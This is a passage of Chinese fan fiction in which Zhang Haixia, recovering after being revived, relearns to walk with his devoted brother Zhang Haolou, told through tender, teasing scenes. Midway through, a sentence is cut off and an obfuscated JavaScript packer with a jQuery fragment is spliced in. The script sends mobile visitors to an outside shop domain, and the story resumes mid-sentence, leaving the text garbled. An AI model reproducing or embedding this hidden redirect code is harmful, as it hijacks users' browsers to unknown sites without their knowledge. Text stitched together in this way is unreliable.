张海侠正式提出学走路的那天早上,姜芜正在篝火边熬第三锅药糊,朗风正用匕首削一根新手杖的握柄,张海斗正蹲在江边用石头打水漂,张海婵正坐在石阶上画一只落在茶壶沿上的蝴蝶。张海琪等着给那个学走路的人鼓掌。她这辈子给很多事鼓过掌,给一个死过一次的人重新学会走路鼓掌,这种事她还没遇到过。张起灵坐在塔前广场最边缘的一块条石上,背对着所有人,面朝江面,像一尊还没被风吹化的石像。
张海侠的声音从门内传出来,不高不低,软塌塌的。那声音落进晨光里,像一只猫把爪子搭在你膝盖上——不伸指甲,只是搁在那里,毛茸茸的,肉垫微凉,碰了一下就不动了。
“我想今天开始学走路。”
张海斗的水漂打了四个弹跳沉了。朗风的匕首在木柄上停了一瞬,又继续削。张海婵的铅笔尖在蝴蝶翅膀上多画了一道弧线。姜芜抬头看了房间一眼,搅药糊的竹勺在钵沿上磕了一下。然后所有人几乎是同时把目光转向了张海楼——你来。张海楼正端着一壶刚煮好的茶从篝火边走回来,听到这句话脚步没停。
“行。”他把茶壶放在石阶上,擦了擦手上的水渍,走进房间。
张海侠抓住张海楼搭在床边的手腕。
“你扶我。”他说,语气很乖。是那种知道自己现在离了这个人就走不动、所以把请求都放得很轻的乖软。
张海楼把手伸过去,掌心朝上,放在张海侠面前。
张海侠握住他的手坐起来了,两条腿从床沿垂下来,光脚踩在石板地上,双手撑着床沿,上半身前倾,正在用眼睛测量从床到殿门之间的距离。
“目测大概四丈二尺。”张海侠说,“按我目前的下肢肌力水平,一口气走完的概率不到一成。但分三段走,中间休息两次,每次休息一盏茶的时间,完成的概率可以提到六成以上。”
“你什么时候量的距离?”
“刚才。你用茶壶的时候我数了你的步数。从篝火到门口你走了十九步,你的步幅大概是两尺二寸。从我的床到门的距离是你那十九步的一点八倍,换算下来大概是四丈二尺。误差应该在两寸以内。”
张海楼把双手交叉抱在胸前,看着他。这个人还没站起来,就已经把从床到殿门的距离算到了两寸以内的误差。他的腿还不能承重,膝盖还打着微颤,脚趾还抓不紧粗布,但他已经在做路线规划了——分三段走,中间休息两次,每次一盏茶。和他出任务的准备流程完全一样:评估目标、分解步骤、计算成功率、预留容错空间。
“行,那就分三段。”张海楼在张海侠面前蹲下,双手放在他的膝盖上,用拇指压了压股四头肌的张力,“但你的膝盖稳定性和昨天比没有明显提升,第一段走到一半可能会往外偏。到时候你别硬撑,偏了就扶我。”
“你的肩膀高度比我低一寸,扶肩膀的话我的重心会前倾,不利于保持平衡。我建议扶你的前臂——你的前臂高度刚好在我自然垂手的位置,我扶上去之后肘关节可以保持九十度的弯曲,这是最省力的支撑角度。”
张海楼低头看了看自己的前臂,又看了看张海侠的手。然后他站起来,把袖子卷到肘弯以上,露出一截小臂——在南洋晒出来的小麦色皮肤底下,几道旧疤沿着尺骨的走向排成不规则的一排。他把手臂伸到张海侠面前,手心朝下,横在对方自然垂手就能碰到的位置。
“这个高度?”
“再低半分。”张海侠把手搭上去。指尖先落,指腹再跟,最后才是掌心。那五根手指在他前臂上轻轻扣拢的时候,张海楼觉得那片皮肤上的每一根汗毛都竖了起来。
“你的尺骨比看上去要粗。”张海侠说,拇指在他前臂内侧按了一下,像是在量什么,“目测直径大概是一寸二,实际握上去——”他的手指又收紧了一点,“超过一寸三。”
“你连我的骨头都要量?”
“不是量。”张海侠垂着眼,睫毛在颧骨上投下一小片阴影,语气一本正经,“是确认支撑点的可靠性。如果你的前臂不够粗,我握上去之后手指会打滑——”他的拇指又按了一下,这一次按的是张海楼手腕内侧脉搏跳动的位置,“支撑效果会打折。”
张海楼感觉到自己的脉搏在张海侠的拇指底下跳了一下。
张海侠把手收回去,又搭上来,这次是两只手一起。十根手指都扣在张海楼的前臂上,像是在握一根扶手,又像是在量一件他打算反复使用的东西的尺寸。他深吸一口气,把重心从床沿转移到脚底。
他站起来了。
这一次站得比昨天稳。他的手指扣在张海楼的前臂上,指节发白,手臂的肌肉在衣料底下绷出一条隐约的轮廓。他低着头,看着自己踩在石板地上的光脚,呼吸从平稳变成了一下一下的用力吐气。张海楼的视线从他的手一路往上,经过手腕、前臂、手肘,最后停在张海侠扣在他前臂上的那十根手指上。
然后张海侠抬起右脚,往前挪了半尺,落地。一步。又抬起左脚,落地。第二步。第三步的时候左膝往外偏了一下,张海侠扣在他前臂上的手指猛地收紧,指甲在他的皮肤上压出了四个浅浅的月牙印。
“偏了。”张海侠停下来,看着自己的膝盖,表情很认真,“股内侧肌的反应比预期慢了大概半拍。”
“感觉到了。”张海楼把手臂上那四个月牙印亮给他看,“你的指甲掐了我一下。”
“疼吗?”
张海楼低头看了看。红倒是没红,只是凹进去了四个浅浅的弧,正在慢慢回弹。他本想说“不疼”,但话到嘴边又咽回去了。
“疼。”他说。
张海侠愣了。
“骗你的。”张海楼的掌心在月牙印的位置蹭了一下,嘴角歪出一个不太正经的弧度,“不过你要是想补偿,就多叫几声哥哥。”
张海侠才不理他,低头重新调整了重心。第四步,第五步,第六步。走到第七步的时候他的右腿肌肉开始发抖,抖动的幅度不大,但他每抬一次脚,抖动的频率就会增加一点,像是在敲一面声音越传越远的小鼓。走到第九步的时候汗珠从他的鬓角滑下来,沿着下颌线流到下巴尖,在那里悬了一瞬,然后滴在他的衣领上。走到第十一步的时候他的手指又开始掐张海楼的手臂了——这次不是无意识的收紧,是他主动在用掐的方式给自己打节拍。掐一下,抬左脚;再掐一下,抬右脚。
张海楼被他掐了大概七八下,终于忍不住开口了:“你在用我打拍子?”
“你的前臂肌肉密度适中,掐下去的反馈力度很稳定,比在心里默数更准确。心里默数容易被呼吸节奏干扰,掐你的话每一掐都和心跳同步——你现在的心率是八十一,比我快了将近一倍。我用你的心跳当节拍器,每一步踩在半拍上,刚好。”
张海楼沉默了一瞬,然后说:“你知道我的心率为什么是八十一吗?”
“因为我在走路。你在紧张。怕我摔。”
“知道还掐那么用力。”
“用力才能让你的心率保持稳定。如果掐轻了,你会觉得我不够认真,反而更紧张。”
张海楼没法反驳。这个人腿还不能走,记忆还是乱的,但他已经在用掐手臂的方式反向调节张海楼的心率。这种操作方式太过熟悉。因为在南洋的时候,每次张海楼紧张,张海侠不会说“别紧张”,他会说“你看那边第三栈桥的柱子,数一下上面有几道裂缝”。等张海楼数完了、心率降下来了,他再若无其事地把话题拉回来。
他用的是同一种方法。只不过以前用视觉转移,现在用疼痛刺激。本质上都是在对张海楼的神经系统进行一场不动声色的外部校准。这个人的医术可能是假的,治人的本能却是真的。
走到屏风的时候,张海侠已经走了二十一步。他在屏风旁边的椅子上坐下来,额头上的汗把鬓角的头发打湿了好几绺,贴在太阳穴上。呼吸比之前急促了不少,但还没有到喘不上气的程度。他把双手从张海楼的前臂上松开,掌心朝上搁在膝盖上,低头看着自己的手,指节还在微微发抖,指腹上沾着从张海楼手臂上蹭下来的汗。
“二十一步。”他说,“第一段目标完成。比预期多了大概四五步。”
张海楼在他旁边蹲下来,用手掌包住他的膝盖轻轻地揉,隔着衣料感受着底下肌肉的微颤,那股颤从股四头肌一路传到缝匠肌,像水面上的涟漪一圈一圈往外扩,他用掌心的温度把那圈涟漪慢慢熨平,“第二段从屏风到殿门,大概还有一丈半。休息一盏茶,喝口水再走。”
张海楼递过来一杯茶,张海侠接过去的时候手指还在抖,茶汤在杯子里晃出细碎的波纹,有几滴溅出来落在他的手指上,他用拇指把茶渍抹掉了。喝了一口之后他偏头往门外看了一眼——从这个角度看出去,篝火、石阶、江面上的晨光、张海斗追蜻蜓的剪影,和记忆里某个画面的边角重合了一瞬。
“那个位置。”他忽然指着门口右侧的石阶,“是不是有人经常坐在那里?”
张海楼顺着他的手指看过去。那是他平时坐着煮茶的位置——石阶被他的屁股磨得比旁边光滑了一小片,颜色也比周围的石头浅一点,是长期摩擦留下的痕迹。石阶旁边还搁着一个粗陶杯子,里面插着几根已经开始发蔫的野草,是张海斗前几天捡回来的,说是要给师伯的房间里添点绿色。
“对。有人经常坐在那里。”张海楼说。
“那个人是我还是你?”
“都有。我坐在左边煮茶,你以前坐在右边喝。后来叠影慢慢出来之后,就换成了我坐在你右边,方便你靠着我。”
“我不记得坐在那里的感觉,但我记得坐在那里看到的画面——篝火的烟往左边飘,因为江风是从东南方向吹过来的。江对面的山在傍晚的时候是紫色的,因为夕阳照在山脊上反射进江水的光再折上来,波长会偏紫。”他看着远处江对岸的山脊线,江风正从东南方向吹过来,篝火的烟往左边飘,和他说的一模一样。
“你记得的是光线和风向。不记得人。”
“人也在画面里。有一个人坐在左边,肩膀的高度比石阶高出一截,背影的轮廓挡掉了一小半篝火的光。那个人在煮茶,水开了之后他会把壶提起来,手腕往外翻一下把壶盖震松放蒸汽,再放回去继续煮。”他看着张海楼,“是你吗?”
“是我。”张海楼的声音有点干,他清了清嗓子,“我煮茶的时候会震壶盖。这个习惯是从南洋带回来的,那边的水沸点低,不震壶盖的话蒸汽会从壶嘴喷出来烫到手。你连这个都记得,却记不得我的脸。”
“脸不好记。”张海侠低下头继续喝茶,睫毛在杯沿上方投下一小片阴影,“光线、风向、手腕的角度,这些是固定的。你今天煮茶是这个角度,明天煮茶还是这个角度。但你的脸每天都不一样——你今天皱眉了,明天没皱眉,今天耳根红了,明天没红。脸是变量。”
“变量就更应该记。固定不变的东西有什么好记的——反正它又不会变。”张海侠委屈。
张海侠把茶杯放在椅子扶手上,重新把手搭在张海楼的前臂上。他准备第二段了。
这一次他的手比第一段稳了一些,掐的力度也轻了。从掐变成了按,拇指压在张海楼前臂内侧的肌肉上,不疼,但能感觉到一个微小的、有节奏的压力。张海楼低头看了看他的手,又看了看两人现在的姿势——他的手臂虚虚地拢着张海侠的后腰,差不到半寸的距离,随时准备用力。这种姿势和他扶张海侠走过槟城码头那段被海水打湿的栈桥一模一样,唯独少了一样东西。
“你以前扶我的时候,”张海侠忽然开口,“会数数。”
“什么?”
“数步子。刚才我自己在数,没有说出来。你扶我走过一段很滑的路,你一路都在数——‘一、二、三、四’。数了大概四十多步。你的声音很稳,每一步踩在我刚好要抬脚的那个节拍上。”
张海楼张了张嘴。他不记得这件事。他扶张海侠走过很多段路——任务途中、受伤之后、雨夜里从码头跑回客栈。但他不记得自己数过步子。也许是数过,也许是没有,也许只是在某个特定的夜晚对某个特定的路段做了一件特定的事,然后这件小事被张海侠从记忆碎片里捡了回来,擦了擦灰尘,放在聚光灯下。
“那我今天也数。”他把手臂收紧了一些,稳住了。
张海侠站起来,手搭在他的前臂上,重心从椅子转移到脚底。这一次他站起来的动作比第一段流畅了不少,膝盖只晃了一下就稳住了,脚踝也没有偏。两个人开始往殿门走。
第一步,张海楼说:“一。”第二步,“二。”第三步,“三。”他的声音不大,节奏不赶,每一步踩在张海侠刚好要抬脚的节拍上,像是两个配合了多年的搭档在跳一支只有他们自己知道舞步的舞。走到第七步的时候张海侠笑了,很轻很短,从鼻子里喷出来,带着一点被自己逗乐了的无奈。
“你笑什么?”
“你数数的声音和以前不一样。以前是十六岁的声音,比现在高一点,结尾会往上飘。现在是二十六岁的声音,低了,结尾往下沉。你不记得你数过步子,但我记得你的声音。”
“那是因为你听我的声音听了几千遍了。从五岁听到现在。你脑子里的声音数据太多了,可以自动播放不同年龄段的版本。”
“可能是。”张海侠走了几步之后停下,像是忽然想起什么。他偏头看着张海楼,那双琥珀色的眼睛里闪过一丝像是在确认什么的光,“你十六岁的时候是不是变声期比同龄人晚?我记得你十四岁的时候声音还跟小孩子一样,别的男孩都开始粗声粗气了,你说话还是嫩嫩的,跟海斗现在差不多。到了十五岁才忽然沉下来,那年冬天你感冒了一场,烧退了之后声音就变了。”
“对。”张海楼的步子顿了一下,低头看着地面,“你天天给我灌姜汤。放一整个姜的那种。你说发汗就好了。”
“好了吗?”
“好了。声音变了,烧退了。但我现在看到姜都绕着走。”说完他笑了,瞳孔微微放大、虹膜边缘泛起一圈极淡的光晕。
张海侠没有接话。他把手从张海楼的前臂上移开,扶住了旁边的墙。
“我自己走两步试试。你就在旁边——不用扶着,但不要离太远。”
张海楼退后了两步。不远,刚好是张海侠伸手就能够到的距离。
张海侠深吸了一口气,把手从墙上松开。他站了两秒——没有任何支撑,光凭自己的两条腿站在石板地上。然后他抬起右脚,往前迈了一小步。步幅很小,只有正常走路的一半左右,但他的膝盖没有偏,脚踝没有晃,脚底落在地上的时候是稳的。然后他抬起左脚,又迈了一步。两步。没有人扶。没有扶墙。没有掐任何人的手臂。
然后他的膝盖开始打弯了。他反应极快地往旁边伸手——张海楼已经在那里了,手臂伸出去让他抓住,另一只手从背后托住他的肩膀,把他整个人稳在原地。
“两步。”张海侠抓着张海楼的手臂,低着头喘了两口气。”
“昨天你独立行走是零步。”
“零的两倍还是零。”
“……数学倒是没忘。”
“数学用的脑区和语义记忆不一样。计算能力储存在顶叶,语义记忆在海马体和颞叶。我的顶叶应该没受什么损伤,但海马体还有局部水肿——姜芜说的。”张海侠被张海楼扶着走回床边坐下来,后背靠着叠好的毯子,把双腿伸直放在床上。他的小腿肌肉还在微微发颤,足背的血管在皮肤底下隐隐跳动。
“走了两段,独立两步。今天的运动量够了。”张海楼把毯子拉过来盖住他的腿,掖好边角,然后把一个茶杯塞进他手里,“下午姜芜给你泡药浴,泡完之后我给你按摩。明天再练。”
傍晚那场对话来得毫无预兆。
张海楼正蹲在篝火边给张海侠热药粥。松枝在火里烧得正旺,火星往上飘的时候会发出极细微的爆裂声。锅里的药粥正在咕嘟咕嘟地冒泡,他用木勺搅了两圈防止粘底,然后舀了一小勺尝味道。
端着粥往房间走的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834592|211383||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时候,他边走边搅着粥散热。走到门口的时候听到里面传来低低的声音,像是有人在自言自语。他放轻脚步走进去,看到张海侠靠坐在床边,手里拿着纸条。他低着头在看上面的字。
“你叫张海侠。张海楼是你弟弟。他很爱你。不要把他认成别人。”
张海侠听到脚步声,抬起头。他的眼神是清明的,琥珀色的清透感从瞳仁中心一直延伸到虹膜边缘,没有任何雾状的浑浊。他看着张海楼,用那种既不是困惑也不是试探、而是一种很纯粹的、想要确认某个事实的语气说:“你不是说平时吃饭都是你煮饭、你煮茶的吗?姜芜平时不煮饭,海婵也不会,朗风只会烧水,海斗太小了——那以前我们和师父一起过日子的时候,饭是不是都是你做的?我就负责吃?”
张海楼端着粥碗的手停了一下。他把粥碗放在旁边,说:“你也不算‘负责吃’。你负责吃完了点评。你说我煮的粥太稀,茶太涩,炒的菜太咸,煮的面太软。就没有你说好的。”
“那我负责什么?”
“负责坐在那里让我看。”
“那我确实做得很好。”张海侠的语气不带一点开玩笑的意思,“你又脸红了。”
“没有。篝火照的。”
“篝火在门外,你背对篝火。火光只能照到你的后背,照不到你的正脸。”张海侠放下纸条,开始一项一项列举证据,“你现在脸颊的红色比正常肤色深了大概两个色阶。耳根处最深,往颧骨方向逐渐变浅,这是情绪性充血的标准分布模式,和外部热源导致的均匀泛红不一样。所以不是篝火。”
“你这个语气,你又在假装医师。”
“不是假装。这是基础的观察力。和医术无关。”张海侠往毯子里缩了缩。
张海楼把粥碗塞进他手里:“喝粥。你今天话太多了。”
张海侠接过粥碗,低头喝了一口。粥的温度刚好,不烫嘴也不凉,是张海楼从锅到门口这一段路上搅出来的温度。他喝了两口,忽然停下来。
他把粥碗放在床头,用手把毯子掀开一角。
“你过来。坐这里。”他拍了拍自己旁边的位置。
张海楼坐过去。两个人的肩膀挨在一起,还是和以前一样的距离。
“你再跟我说说煮姜汤的事,我怕我明天早上又不记得了。”张海侠把所有的注意力都集中在他身上,“你是怎么睡着的,在等我热姜汤的时候。是靠着床边睡着的吗?还是趴在桌子上?”
“靠着床边。本来是坐着等的,后来太困了就歪到床沿上,头枕着手臂就睡着了。”
“你有没有做梦?”
“做了一个。梦到你站在栈桥上,背对着我。我叫你,你不回头。我跑过去拍你的肩膀,你转过头来,不是你的脸。”张海楼低头看着自己的手,“是空白的。没有眉毛,没有眼睛,没有嘴巴。一张什么都没有的脸。然后我就醒了。”
张海侠沉默了一会儿,把自己的手从毯子里伸出来,放在张海楼的手背上。他的手还是偏凉的,但掌心的温度比上周又暖了一些。
“那你现在看我。”他说。
张海楼抬头看他的脸。眉毛,眼睛,鼻梁,嘴唇,下巴的弧度,耳廓的轮廓,太阳穴上被汗打湿的碎发。每一处都在,每一处都清清楚楚。
“不是空白的。”他说。
“对。”张海侠把手指收拢,握紧张海楼的手,“以后都不是。”
张海楼听到这话,迅速把头转到另一边去。
他深吸了一口气——这段时间他已经练就了迅速调整情绪的本事。自从意识到对哥哥的感情之后,置换进入最后阶段,他不得不拾起破碎的、卑劣的自己,把哥哥的生命放在第一位。
相比哥哥复活,他的儿女情长太微不足道了。
哥哥活着就够了。
他很快便转过头来,转移话题说:“你今天走路走得不错。明天继续。”
张海侠点点头,收回手继续喝粥。
两天后张海侠独立走了七步。从房间门口到石阶第一级,七步,中间没有扶任何东西。走到第七步的时候他往前栽了一下,张海楼伸手去接,但他自己用手撑在石阶上稳住了。撑在石阶上的那只手,虎口朝上,疤痕在月光下泛着淡淡的银白色。
第十五天,张海侠从门口走到篝火边,不用拐杖,不用扶手,只需要张海楼在旁边跟着,手臂悬在他身后两寸的位置,随时准备接住他。走到篝火边之后他自己坐在石阶上,端起张海楼放在那里的茶杯喝了一口,说:“今天这杯不涩。水温刚好。”
第二十天,张海侠从门口走到江边,再走回来。来回全程大概一百八十步,中间停下来休息了两次。回到门口的时候他的腿在发抖,汗从下巴滴到衣领上,但他没有坐下来,而是站在门口看着自己走过的路。从江边到房间,石板地上踩出了一串湿漉漉的脚印,有些步子之间隔得远了,有些步子之间隔得近了,但每一对脚印都是他自己的。然后他转头看着看了他一路的张海楼,问了一个他大概想了很久的问题:“这半年你睡在哪里?”
张海楼没想到他会问这个。他把张海侠扶到篝火边坐下,递给他一杯茶,然后在他旁边坐下来,双手撑在身后看着信城塔的塔尖在暮色中变成一道深灰色的剪影。
“最开始几个月睡在外面的石板地上。后来姜芜说地上太凉,给了我一条旧毯子。再后来海斗把他的草席让给我一半,他自己睡另一半。”他顿了顿,“你呢?”
“井里。”张海侠说。只有一个词。那个词落进篝火里,被松枝烧出轻微的噼啪声。
“那你还记得复活的时候吗。”
“有一部分被张玄枢的意识覆盖了,记不太清。”张海侠说,“但我记得我回来之后你说的第一句话。你说——‘欢迎回家。’”
“那是第二句。第一句是‘虾仔,你回来了。’”张海楼的声带在最后三个字上裂开了一道缝,漏出底下藏着的那一点点没撑住的东西。他很快清了一下嗓子,把裂缝补上了。
晚上临睡前,张海楼照例帮张海侠掖好毯子、把茶杯放在床头伸手能够到的位置。他做这些事的时候动作行云流水,和过去很多个晚上一样,甚至更流畅。因为张海侠的身体状况在好转,他不需要像前两周那样每掖一次毯子就摸一下对方的额头温度。
今晚张海侠的体温正常,脉搏正常,呼吸正常。一切都正常。
他正准备转身去自己那张床的时候,张海侠在后面叫住了他。
“哥哥。”
“怎么了?”
“我想明天试着走到镇上去。”
张海楼转身的动作停在一半,慢慢收回来,重新面对张海侠。“你知道从塔前广场到镇上要走多远吗?你走的最远纪录是江边一个来回,那只有不到半里。别说明天了,再过十天你都未必能走到。”
“我不是要一口气走到。从塔前广场到镇上,中间有三段路可以休息——第一个岔路口有块大石头,第二个岔路口有棵歪脖子树,第三个岔路口有个废弃的茶棚。每段路大概四千五百步,走完一段休息一盏茶。三盏茶的时间,加起来可以走完。”
“你什么时候量的这些距离?”
“姜芜昨天去镇上抓药,我让他帮我数的。我可以到了茶棚之后再决定要不要继续。”
张海楼再次没法反驳。这个人的腿还不能完全独立行走,但他的计划已经做到第四个路段了。他只需要照着计划执行,一步一步地往前走。唯一的变量是他自己的体力,而他现在对自身体力的评估精度,大概已经超过了姜芜这个祖传的正牌医师。
“行。明天早上出发,我陪你走。”张海楼把他的毯子又拽上去一点,“但有一个条件——走到镇上之后,你得在镇上的茶摊上坐够一个时辰休息,然后才能往回走。不准一到镇上就转头回来。”
“为什么?”
“没有为什么。”张海楼把毯子往上又拽了一寸,拽到张海侠下巴的位置。“现在我是哥哥。我说了算。”